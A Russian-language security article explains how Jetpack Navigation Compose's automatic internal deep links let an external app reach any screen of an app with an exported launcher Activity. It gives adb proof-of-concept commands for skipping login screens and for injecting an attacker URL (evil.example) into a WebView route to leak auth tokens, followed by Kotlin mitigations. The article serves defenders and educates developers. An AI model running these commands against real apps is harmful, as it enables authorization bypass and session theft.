Перейти к содержанию

Доступ к произвольному Composable (Jetpack Compose) через Intent

Описание

В приложениях с Navigation Compose любой объявленный route для composable() получает внутренний диплинк вида android-app://androidx.navigation/<route> (создаётся самой библиотекой). Если лаунчер-Activity экспортирована (а для MAIN/LAUNCHER на Android 12+ это обязательно), то внешнее приложение может запустить любое Compose-назначение и передать ему аргументы, минуя ожидаемые «стартовые» проверки (PIN/логин/подтверждения и т.д.). ((не)Уникальный опыт)

Условия и поверхность атаки

  1. Приложение использует Navigation Compose (androidx.navigation:navigation-compose). (Android Developers)
  2. Есть экспортированная Activity (обычно лаунчер).
  3. В графе объявлены composable(route = ...) (даже без явных deepLinks = ...).
  4. На экранах используются аргументы маршрута, которые влияют на бизнес-логику (например, URL в WebView, id ресурса, флаги режима и т.д.).

Как это эксплуатируется

Обход авторизации/стартового экрана

Любое приложение/adb может запустить нужный route:

adb shell am start \
  -n com.example.app/.MainActivity \
  -d "android-app://androidx.navigation/Main"

Инъекция аргументов маршрута (угон сессии через WebView)

Если экран принимает параметр, например WebContent/{url}, атакующий подставляет любой URL, а ваш экран добавит авторизационный заголовок и откроет его — получится 0-click захват сессии:

adb shell am start \
  -n com.example.app/.MainActivity \
  -d "android-app://androidx.navigation/WebContent/https%3A%2F%2Fevil.example%2F"

Технические детали (root cause)

При установке route библиотека сама добавляет к назначению скрытый диплинк:

// Упрощённо: внутри ComposeNavigator.Destination
public var route: String? = null
  set(value) {
    val internalRoute = createRoute(value) // -> "android-app://androidx.navigation/<route>"
    addDeepLink(internalRoute)
    field = value
  }

Таким образом каждое Compose-назначение получает внутренний диплинк android-app://androidx.navigation/<route>, который обрабатывается как обычный диплинк (handleDeepLink -> matchDeepLink) и принимает аргументы из URI.

Важно: официальная документация пишет, что диплинки в Compose «не доступны внешним приложениям по умолчанию» и требуют <intent-filter>; это верно для неявных интентов из других приложений/браузера. Но явный интент (setClassName(...)) с data дойдёт до вашей экспортированной Activity, а Navigation всё равно увидит intent.data и отработает диплинк-механизм. (Android Developers)

Риски и примеры последствий

  • Обход авторизации и контрольных экранов (Improper Authorization/CWE-285).
  • Инъекция параметров маршрута → открытые редиректы/утечки токенов в WebView (Open Redirect/CWE-601, Sensitive Data Exposure).
  • Эскалация навигационных прав (доступ к административным/внутренним экранам).

Рекомендации по защите

0. Если можно — не использовать Navigation Compose для чувствительных участков

Убрать автоматический диплинк-механизм целиком. Это официальный вывод как «железный» вариант.

1. Отключаем внутренние диплинки на входе в Activity

В onCreate/onNewIntent очищайте потенциально опасный data и service-extras до инициализации навигации:

private fun Intent?.isInternalNavDeepLink(): Boolean =
  this?.data?.scheme == "android-app" && this.data?.host == "androidx.navigation"

private fun Intent?.sanitizeForNavigation() {
  if (this == null) return
  if (isInternalNavDeepLink()) data = null
  // заодно чистим известные extras «старой» навигации (фрагменты):
  removeExtra("android-support-nav:controller:deepLinkIds")
  removeExtra("android-support-nav:controller:deepLinkExtras")
  removeExtra("android-support-nav:controller:deepLinkIntent")
}

override fun onCreate(savedInstanceState: Bundle?) {
  intent.sanitizeForNavigation()
  super.onCreate(savedInstanceState)
  setContent { /* NavHost(...) */ }
}

override fun onNewIntent(intent: Intent) {
  intent.sanitizeForNavigation()
  super.onNewIntent(intent)
  setIntent(intent)
}

Так вы не дадите NavController сопоставить android-app://androidx.navigation/... и навигироваться по нему.

2. Жёсткая валидация входящих Intent + белые списки

  • Разрешайте только ожидаемые схемы/хосты/форматы data и только в сценариях, где вы сознательно поддерживаете внешние диплинки.
  • Во всех прочих случаях — сбрасывайте intent.data (см. выше) или завершайте Activity.
  • Не полагайтесь на <intent-filter> как на защиту: явные интенты его обходят. (Android Developers)

3. Локальные проверки на каждом чувствительном экране

  • Авторизация/состояние сессии проверяется внутри Composable до использования аргументов.
  • Любые аргументы маршрута считаются недоверенными: валидируйте типы, диапазоны, белые списки доменов для URL.
  • Для WebView: жёстко ограничивайте домены (allow-list), не передавайте токены заголовками для внешних доменов, включите контроль переходов (shouldOverrideUrlLoading).

Замечание: такие проверки снижают риск, но по сути превращают 0-click в 1-click (пользователь введёт PIN, не зная, что после него откроется). Это компромисс, а не полный фикс.

4. Если вы сознательно используете диплинки

  • Переходите на App Links с android:autoVerify="true" + assetlinks.json, и всё равно валидируйте Intent (см. п. 2). Документация подчёркивает необходимость явной конфигурации для внешних диплинков. (Android Developers)

Ссылки

  1. Fi5t: «Android Jetpack Navigation: Go Even Deeper» — детальное исследование Compose-ветки уязвимости (короткий PoC, разбор исходников createRoute, handleDeepLink). ((не)Уникальный опыт)
  2. PT SWARM (англ. версия): те же выводы, структурированно и с рекомендациями. (PT SWARM)
  3. Документация Navigation Compose — раздел про диплинки и их экспонирование наружу. (Android Developers)
  4. Общие риски диплинков и меры хардненинга (пентест-обзор). (Hacking Articles)
К началу